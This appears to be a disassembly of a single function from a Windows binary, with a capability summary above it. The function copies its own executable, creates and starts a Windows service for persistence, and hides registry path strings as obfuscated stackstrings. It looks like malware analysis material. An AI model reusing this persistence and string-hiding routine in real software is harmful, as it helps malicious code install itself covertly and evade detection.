Function at 0x40f5f2
Capabilities:
Contain obfuscated stackstrings
Copy file
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47d6a0
push 0x45c950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x35c
push ebx
push esi
push edi
xor ebx, ebx
mov byte [ebp - 0x328], bl
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x327]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov esi, 0x104
push esi
lea eax, [ebp - 0x328]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov byte [ebp - 0x334], 0x25
mov byte [ebp - 0x333], 0x73
mov byte [ebp - 0x332], bl
push dword [ebp + 8]
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040ab52
push eax
lea eax, [ebp - 0x328]
push eax
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040aab9
test eax, eax
je 0x40f6fa
lea eax, [ebp - 0x220]
push eax
call fcn.0040e935
pop ecx
push ebx
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 0x220]
push eax
call fcn.0040de69
push esi
push ebx
lea eax, [ebp - 0x328]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040abb9
cmp byte [0x48b670], 1
je 0x40f9b0
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x330], ebx
mov dword [ebp - 0x32c], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
mov dword [ebp - 0x32c], edi
cmp edi, ebx
je 0x40f9a7
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x328]
push eax
push ebx
push 2
push pe_nt_image_headers32
mov esi, 0xf01ff
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x330], eax
push edi
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x360], eax
mov dword [ebp - 0x338], 0x48b38c
lea eax, [ebp - 0x338]
push eax
push 1
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push dword [ebp - 0x360]
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x330], ebx
jne 0x40f7e0
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x40f7e0
push esi
push dword [ebp + 0xc]
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x330], eax
cmp eax, ebx
je 0x40f9a7
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push ebx
push ebx
push dword [ebp - 0x330]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x40f9a7
mov byte [ebp - 0x35c], 0x53
mov byte [ebp - 0x35b], 0x59
mov byte [ebp - 0x35a], 0x53
mov byte [ebp - 0x359], 0x54
mov byte [ebp - 0x358], 0x45
mov byte [ebp - 0x357], 0x4d
mov byte [ebp - 0x356], 0x5c
mov byte [ebp - 0x355], 0x43
mov byte [ebp - 0x354], 0x75
mov byte [ebp - 0x353], 0x72
mov byte [ebp - 0x352], 0x72
mov byte [ebp - 0x351], 0x65
mov byte [ebp - 0x350], 0x6e
mov byte [ebp - 0x34f], 0x74
mov byte [ebp - 0x34e], 0x43
mov byte [ebp - 0x34d], 0x6f
mov byte [ebp - 0x34c], 0x6e
mov byte [ebp - 0x34b], 0x74
mov byte [ebp - 0x34a], 0x72
mov byte [ebp - 0x349], 0x6f
mov byte [ebp - 0x348], 0x6c
mov byte [ebp - 0x347], 0x53
mov byte [ebp - 0x346], 0x65
mov byte [ebp - 0x345], 0x74
mov byte [ebp - 0x344], 0x5c
mov byte [ebp - 0x343], 0x53
mov byte [ebp - 0x342], 0x65
mov byte [ebp - 0x341], 0x72
mov byte [ebp - 0x340], 0x76
mov byte [ebp - 0x33f], 0x69
mov byte [ebp - 0x33e], 0x63
mov byte [ebp - 0x33d], 0x65
mov byte [ebp - 0x33c], 0x73
mov byte [ebp - 0x33b], 0x5c
mov byte [ebp - 0x33a], bl
lea eax, [ebp - 0x35c]
push eax
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040abb9
push dword [ebp + 0xc]
lea eax, [ebp - 0x11c]
push eax
mov ecx, dword [0x49d6f4]
call fcn.0040ab2e
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x11c]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov byte [ebp - 0x36c], 0x44
mov byte [ebp - 0x36b], 0x65
mov byte [ebp - 0x36a], 0x73
mov byte [ebp - 0x369], 0x63
mov byte [ebp - 0x368], 0x72
mov byte [ebp - 0x367], 0x69
mov byte [ebp - 0x366], 0x70
mov byte [ebp - 0x365], 0x74
mov byte [ebp - 0x364], 0x69
mov byte [ebp - 0x363], 0x6f
mov byte [ebp - 0x362], 0x6e
mov byte [ebp - 0x361], bl
push dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push dword [ebp + 0x14]
push 1
push ebx
lea eax, [ebp - 0x36c]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
or dword [ebp - 4], 0xffffffff
call fcn.0040f9c7
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret